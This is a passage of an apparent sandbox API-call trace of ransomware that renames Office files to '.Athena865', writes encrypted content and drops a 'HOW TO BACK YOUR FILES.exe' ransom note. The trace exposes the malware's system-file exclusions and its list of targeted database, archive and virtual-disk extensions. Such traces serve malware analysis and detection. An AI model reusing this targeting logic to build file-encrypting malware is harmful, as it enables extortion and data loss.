dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3480) returned 0x100000 [0149.932] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.933] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.933] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.934] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.934] CloseHandle (hObject=0x17c) returned 1 [0149.934] CloseHandle (hObject=0x154) returned 1 [0149.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.935] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf94f400, ftCreationTime.dwHighDateTime=0x1c556ae, ftLastAccessTime.dwLowDateTime=0x112efdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf94f400, ftLastWriteTime.dwHighDateTime=0x1c556ae, nFileSizeHigh=0x0, nFileSizeLow=0x349922, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XMLSDK5.CHM", cAlternateFileName="")) returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2=".") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="..") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="windows") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="bootmgr") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="temp") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="pagefile.sys") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="boot") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="ids.txt") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="ntuser.dat") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="perflogs") returned 1 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2="MSBuild") returned 1 [0149.935] lstrlenW (lpString="XMLSDK5.CHM") returned 11 [0149.935] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XMLSDK5.CHM" | out: lpString1="XMLSDK5.CHM") returned="XMLSDK5.CHM" [0149.935] lstrlenW (lpString="XMLSDK5.CHM") returned 11 [0149.935] lstrlenW (lpString="Athena865") returned 9 [0149.935] lstrcmpiW (lpString1="LSDK5.CHM", lpString2="Athena865") returned 1 [0149.935] lstrlenW (lpString=".dll") returned 4 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2=".dll") returned 1 [0149.935] lstrlenW (lpString=".lnk") returned 4 [0149.935] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2=".lnk") returned 1 [0149.935] lstrlenW (lpString=".ini") returned 4 [0149.936] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2=".ini") returned 1 [0149.936] lstrlenW (lpString=".sys") returned 4 [0149.936] lstrcmpiW (lpString1="XMLSDK5.CHM", lpString2=".sys") returned 1 [0149.936] lstrlenW (lpString="XMLSDK5.CHM") returned 11 [0149.936] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.Athena865") returned 69 [0149.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.athena865"), dwFlags=0x1) returned 1 [0149.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.938] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3447074) returned 1 [0149.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.939] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.939] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.939] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x349c30, lpName=0x0) returned 0x17c [0149.941] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x149c30) returned 0x2bb0000 [0150.132] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.133] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.133] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0150.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0150.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0150.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0150.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.134] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0150.146] CloseHandle (hObject=0x17c) returned 1 [0150.146] CloseHandle (hObject=0x154) returned 1 [0150.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0150.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.162] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf94f400, ftCreationTime.dwHighDateTime=0x1c556ae, ftLastAccessTime.dwLowDateTime=0x112efdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf94f400, ftLastWriteTime.dwHighDateTime=0x1c556ae, nFileSizeHigh=0x0, nFileSizeLow=0x349922, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XMLSDK5.CHM", cAlternateFileName="")) returned 0 [0150.162] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0150.162] ReleaseMutex (hMutex=0xec) returned 1 [0150.162] CloseHandle (hObject=0xec) returned 1 [0150.162] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1036" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0150.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b8e0 | out: hHeap=0x4f0000) returned 1 [0150.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce88 | out: hHeap=0x4f0000) returned 1 [0150.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned 47 [0150.163] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CFB0208EA6FF058C40857BBF11269C0D") returned 0xec [0150.163] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0150.163] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1036" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0150.163] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0150.163] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\how to back your files.exe"), bFailIfExists=1) returned 0 [0150.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0150.165] GetLastError () returned 0x0 [0150.165] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0150.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0150.166] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0150.167] CloseHandle (hObject=0xf4) returned 1 [0150.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0150.167] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0150.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf137c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf137c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0150.167] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.167] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.167] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0150.168] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf137c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf137c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.168] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.168] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.168] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0150.168] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0150.168] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf137c20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf137c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0150.168] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0150.168] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2=".") returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="..") returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="windows") returned -1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="bootmgr") returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="temp") returned -1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="pagefile.sys") returned -1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="boot") returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="ids.txt") returned 1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="ntuser.dat") returned -1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="perflogs") returned -1 [0150.168] lstrcmpiW (lpString1="MSO.ACL", lpString2="MSBuild") returned 1 [0150.168] lstrlenW (lpString="MSO.ACL") returned 7 [0150.168] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSO.ACL" | out: lpString1="MSO.ACL") returned="MSO.ACL" [0150.169] lstrlenW (lpString="MSO.ACL") returned 7 [0150.169] lstrlenW (lpString="Athena865") returned 9 [0150.169] lstrlenW (lpString=".dll") returned 4 [0150.169] lstrcmpiW (lpString1="MSO.ACL", lpString2=".dll") returned 1 [0150.169] lstrlenW (lpString=".lnk") returned 4 [0150.169] lstrcmpiW (lpString1="MSO.ACL", lpString2=".lnk") returned 1 [0150.169] lstrlenW (lpString=".ini") returned 4 [0150.169] lstrcmpiW (lpString1="MSO.ACL", lpString2=".ini") returned 1 [0150.169] lstrlenW (lpString=".sys") returned 4 [0150.169] lstrcmpiW (lpString1="MSO.ACL", lpString2=".sys") returned 1 [0150.169] lstrlenW (lpString="MSO.ACL") returned 7 [0150.169] lstrlenW (lpString="bak") returned 3 [0150.169] lstrcmpiW (lpString1="ACL", lpString2="bak") returned -1 [0150.169] lstrlenW (lpString="ba_") returned 3 [0150.169] lstrcmpiW (lpString1="ACL", lpString2="ba_") returned -1 [0150.169] lstrlenW (lpString="dbb") returned 3 [0150.169] lstrcmpiW (lpString1="ACL", lpString2="dbb") returned -1 [0150.169] lstrlenW (lpString="vmdk") returned 4 [0150.169] lstrcmpiW (lpString1=".ACL", lpString2="vmdk") returned -1 [0150.169] lstrlenW (lpString="rar") returned 3 [0150.169] lstrcmpiW (lpString1="ACL", lpString2="rar") returned -1 [0150.169] lstrlenW (lpString="zip") returned 3 [0150.169] lstrcmpiW (lpString1="ACL", lpString2="zip") returned -1 [0150.169] lstrlenW (lpString="tgz") returned 3 [0150.169] lstrcmpiW (lpString1="ACL", lpString2="tgz") returned -1 [0150.169] lstrlenW (lpString="vbox") returned 4 [0150.169] lstrcmpiW (lpString1=".ACL", lpString2="vbox") returned -1 [0150.169] lstrlenW (lpString="vdi") returned 3 [0150.169] lstrcmpiW (lpString1="ACL", lpString2="vdi") returned -1 [0150.169] lstrlenW (lpString="vhd") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="vhd") returned -1 [0150.170] lstrlenW (lpString="vhdx") returned 4 [0150.170] lstrcmpiW (lpString1=".ACL", lpString2="vhdx") returned -1 [0150.170] lstrlenW (lpString="avhd") returned 4 [0150.170] lstrcmpiW (lpString1=".ACL", lpString2="avhd") returned -1 [0150.170] lstrlenW (lpString="db") returned 2 [0150.170] lstrcmpiW (lpString1="CL", lpString2="db") returned -1 [0150.170] lstrlenW (lpString="db2") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="db2") returned -1 [0150.170] lstrlenW (lpString="db3") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="db3") returned -1 [0150.170] lstrlenW (lpString="dbf") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="dbf") returned -1 [0150.170] lstrlenW (lpString="mdf") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="mdf") returned -1 [0150.170] lstrlenW (lpString="mdb") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="mdb") returned -1 [0150.170] lstrlenW (lpString="sql") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="sql") returned -1 [0150.170] lstrlenW (lpString="sqlite") returned 6 [0150.170] lstrcmpiW (lpString1="SO.ACL", lpString2="sqlite") returned -1 [0150.170] lstrlenW (lpString="sqlite3") returned 7 [0150.170] lstrlenW (lpString="sqlitedb") returned 8 [0150.170] lstrlenW (lpString="xml") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="xml") returned -1 [0150.170] lstrlenW (lpString="$er") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="$er") returned 1 [0150.170] lstrlenW (lpString="4dd") returned 3 [0150.170] lstrcmpiW (lpString1="ACL", lpString2="4dd") returned 1 [0150.170] lstrlenW (lpString="4dl") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="4dl") returned 1 [0150.171] lstrlenW (lpString="^^^") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="^^^") returned 1 [0150.171] lstrlenW (lpString="abs") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="abs") returned 1 [0150.171] lstrlenW (lpString="abx") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="abx") returned 1 [0150.171] lstrlenW (lpString="accdb") returned 5 [0150.171] lstrcmpiW (lpString1="O.ACL", lpString2="accdb") returned 1 [0150.171] lstrlenW (lpString="accdc") returned 5 [0150.171] lstrcmpiW (lpString1="O.ACL", lpString2="accdc") returned 1 [0150.171] lstrlenW (lpString="accde") returned 5 [0150.171] lstrcmpiW (lpString1="O.ACL", lpString2="accde") returned 1 [0150.171] lstrlenW (lpString="accdr") returned 5 [0150.171] lstrcmpiW (lpString1="O.ACL", lpString2="accdr") returned 1 [0150.171] lstrlenW (lpString="accdt") returned 5 [0150.171] lstrcmpiW (lpString1="O.ACL", lpString2="accdt") returned 1 [0150.171] lstrlenW (lpString="accdw") returned 5 [0150.171] lstrcmpiW (lpString1="O.ACL", lpString2="accdw") returned 1 [0150.171] lstrlenW (lpString="accft") returned 5 [0150.171] lstrcmpiW (lpString1="O.ACL", lpString2="accft") returned 1 [0150.171] lstrlenW (lpString="adb") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="adb") returned -1 [0150.171] lstrlenW (lpString="adb") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="adb") returned -1 [0150.171] lstrlenW (lpString="ade") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="ade") returned -1 [0150.171] lstrlenW (lpString="adf") returned 3 [0150.171] lstrcmpiW (lpString1="ACL", lpString2="adf") returned -1 [0150.172] lstrlenW (lpString="adn") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="adn") returned -1 [0150.172] lstrlenW (lpString="adp") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="adp") returned -1 [0150.172] lstrlenW (lpString="alf") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="alf") returned -1 [0150.172] lstrlenW (lpString="ask") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="ask") returned -1 [0150.172] lstrlenW (lpString="btr") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="btr") returned -1 [0150.172] lstrlenW (lpString="cat") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="cat") returned -1 [0150.172] lstrlenW (lpString="cdb") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="cdb") returned -1 [0150.172] lstrlenW (lpString="ckp") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="ckp") returned -1 [0150.172] lstrlenW (lpString="cma") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="cma") returned -1 [0150.172] lstrlenW (lpString="cpd") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="cpd") returned -1 [0150.172] lstrlenW (lpString="dacpac") returned 6 [0150.172] lstrcmpiW (lpString1="SO.ACL", lpString2="dacpac") returned 1 [0150.172] lstrlenW (lpString="dad") returned 3 [0150.172] lstrcmpiW (lpString1="ACL", lpString2="dad") returned -1 [0150.172] lstrlenW (lpString="dadiagrams") returned 10 [0150.172] lstrlenW (lpString="daschema") returned 8 [0150.172] lstrlenW (lpString="db-journal") returned 10 [0150.172] lstrlenW (lpString="db-shm") returned 6 [0150.172] lstrcmpiW (lpString1="SO.ACL", lpString2="db-shm") returned 1 [0150.173] lstrlenW (lpString="db-wal") returned 6 [0150.173] lstrcmpiW (lpString1="SO.ACL", lpString2="db-wal") returned 1 [0150.173] lstrlenW (lpString="dbc") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dbc") returned -1 [0150.173] lstrlenW (lpString="dbs") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dbs") returned -1 [0150.173] lstrlenW (lpString="dbt") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dbt") returned -1 [0150.173] lstrlenW (lpString="dbv") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dbv") returned -1 [0150.173] lstrlenW (lpString="dbx") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dbx") returned -1 [0150.173] lstrlenW (lpString="dcb") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dcb") returned -1 [0150.173] lstrlenW (lpString="dct") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dct") returned -1 [0150.173] lstrlenW (lpString="dcx") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dcx") returned -1 [0150.173] lstrlenW (lpString="ddl") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="ddl") returned -1 [0150.173] lstrlenW (lpString="dlis") returned 4 [0150.173] lstrcmpiW (lpString1=".ACL", lpString2="dlis") returned -1 [0150.173] lstrlenW (lpString="dp1") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dp1") returned -1 [0150.173] lstrlenW (lpString="dqy") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dqy") returned -1 [0150.173] lstrlenW (lpString="dsk") returned 3 [0150.173] lstrcmpiW (lpString1="ACL", lpString2="dsk") returned -1 [0150.174] lstrlenW (lpString="dsn") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="dsn") returned -1 [0150.174] lstrlenW (lpString="dtsx") returned 4 [0150.174] lstrcmpiW (lpString1=".ACL", lpString2="dtsx") returned -1 [0150.174] lstrlenW (lpString="dxl") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="dxl") returned -1 [0150.174] lstrlenW (lpString="eco") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="eco") returned -1 [0150.174] lstrlenW (lpString="ecx") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="ecx") returned -1 [0150.174] lstrlenW (lpString="edb") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="edb") returned -1 [0150.174] lstrlenW (lpString="epim") returned 4 [0150.174] lstrcmpiW (lpString1=".ACL", lpString2="epim") returned -1 [0150.174] lstrlenW (lpString="fcd") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="fcd") returned -1 [0150.174] lstrlenW (lpString="fdb") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="fdb") returned -1 [0150.174] lstrlenW (lpString="fic") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="fic") returned -1 [0150.174] lstrlenW (lpString="flexolibrary") returned 12 [0150.174] lstrlenW (lpString="fm5") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="fm5") returned -1 [0150.174] lstrlenW (lpString="fmp") returned 3 [0150.174] lstrcmpiW (lpString1="ACL", lpString2="fmp") returned -1 [0150.174] lstrlenW (lpString="fmp12") returned 5 [0150.174] lstrcmpiW (lpString1="O.ACL", lpString2="fmp12") returned 1 [0150.174] lstrlenW (lpString="fmpsl") returned 5 [0150.175] lstrcmpiW (lpString1="O.ACL", lpString2="fmpsl") returned 1 [0150.175] lstrlenW (lpString="fol") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="fol") returned -1 [0150.175] lstrlenW (lpString="fp3") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="fp3") returned -1 [0150.175] lstrlenW (lpString="fp4") returned 3 [0150.175] lstrcmpiW (lpString1="ACL", lpString2="fp4") returned -1 [0150.175] lstrlenW 